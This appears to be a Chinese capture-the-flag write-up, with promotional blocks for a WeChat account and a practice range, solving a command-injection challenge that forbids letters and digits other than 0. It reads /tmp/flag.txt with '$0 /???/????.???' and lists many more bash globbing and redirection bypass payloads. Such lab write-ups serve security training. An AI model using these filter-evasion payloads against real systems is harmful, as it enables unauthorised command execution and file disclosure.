好靶场-数字0的奇迹
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=368
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
今天这个靶场限时免费,我一看到名字就来了兴趣,让我来研究好靶场的大王到底有多0?

解题过程
打开一看是一个网页,还勾引你去执行命令。

当我想要ls一下的时候就提示执行不允许

不是,逗我玩呢?数字1-9没有0,那我试一下0。

好像是可以,但是提示000没有这个命令
用分号是可以正常分割两段命令,说明Linux系统命令的字符是可以正常工作的。

查询Linux命令大全和特殊符号大全,发现应该是要用通配符引导到/tmp/flag.txt文件上
尝试一下波浪符号回到当前用户的目录,发现这个靶场确实很0,没有0就执行不了
好的,正常返回,得知当前目录是/app

分析可用字符
在如此严格的限制下,我们能利用的元素有限:
| 可用元素 | 作用 |
|---|---|
$0 | 当前 shell(通常是 /bin/bash) |
$? | 上一条命令的返回值 |
? | 通配符,匹配单个任意字符 |
* | 通配符,匹配任意长度字符串 |
/ | 路径分隔符 |
. | 文件名分隔符 / source 命令 |
中间我尝试用../跳目录没有成功,最后发现?符号可以代表一个字符,和* 号不同,问号只占一个字符,而星号可以是任意长度,所以要用问号占位才能比较准确的匹配。然后是cat的功能用$0代替。 |
构造执行命令
常规读取命令如 cat、head、tail 都包含字母,无法使用。
关键突破点:$0
$0代表当前 shell 程序(/bin/bash)- 不包含任何字母或数字 1-9
- 可以用它来执行脚本文件 当 bash 尝试将非脚本文件作为脚本执行时:
bash /tmp/flag.txt如果 flag.txt 内容是:
flag{xxxxxx}Bash 会尝试把 flag{xxxxxx} 当作命令执行,由于找不到该命令,会输出错误信息:
/tmp/flag.txt: line 1: flag{xxxxxx}: command not found错误信息中包含了 flag 内容!
最后输入
$0 /???/????.???
flag{c220c5ff2acd45f79eadf8e798abd021}
发散思路-不做0的姿势还有哪些(bushi)

1. 文件描述符类(带 0)
. /???/????.???>&0 # 重定向到 stdin
. /???/????.???<&0 # 从 stdin 读
. /???/????.??? 0>&0 # fd 0 重定向
$0 /???/????.??? # bash 执行
$0</???/????.??? # stdin 重定向
. /???/????.???|$0 # 管道给 $0
. /???/????.???||$0 # 逻辑或
. /???/????.???&&$0 # 逻辑与
$0 /???/????.??? 0>&02. 带 $0 的变体
$0 /???/????.??? # 经典解法
${0} /???/????.??? # 花括号写法
"$0" /???/????.??? # 引号包裹
($0 /???/????.???) # 子 shell3. 分号/管道 + 0
. /???/????.???;0 # 你发现的
. /???/????.???|0 # 你发现的
. /???/????.???;$0 # source 后执行 bash
. /???/????.???&$0 # 后台执行4. Here-string / Here-doc(带 0)
$0<<<0 # 简单测试
$0<&0</???/????.??? # 组合重定向
$0 0<<<. /???/????.??? # 变体5. 数组/切片相关(带 0)
${!0} # 间接引用
${0:0} # 切片
${0:0:0} # 空切片
${0:0} /???/????.???
${0%%0} /???/????.???
${@:0} /???/????.??? # 参数数组切片
${*:0} /???/????.??? # 同上6. 算术展开(带 0)
. /???/????.???;$((0)) # 算术展开得 0
$0 /???/????.??? $((0)) # 传参
$0 /???/????.??? $((0+0)) # 0+0=0
. /???/????.???;$((0)) # source 后执行算术
$0 /???/????.??? $[0] # 旧式算术展开7.进程替换(如果支持)
bash
$0 <(. /???/????.???) 0 # 进程替换
全部都是0~
总结可能的 payload
| Payload | 说明 |
|---|---|
$0 /???/????.??? | bash 执行文件 |
. /???/????.???;0 | source + 执行 0(报错) |
. /???/????.???|0 | source + 管道给 0 |
. /???/????.???>&0 | source + 重定向到 fd 0 |
. /???/????.???<&0 | source + 从 fd 0 读 |
$0</???/????.??? | bash 读取文件作为输入 |
题目设计得很巧妙,强制用 0 既是限制也是提示!你可以把这些变体都试一下看看哪些能过 ✌️
参考资料
- Bash Special Parameters
- Shell Globbing
- GTFOBins - Unix Binaries Bypass
- Linux命令大全-菜鸟教程
- Linux 特殊字符详解:从基础到实践
- Linux 终端特殊符号含义大全
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚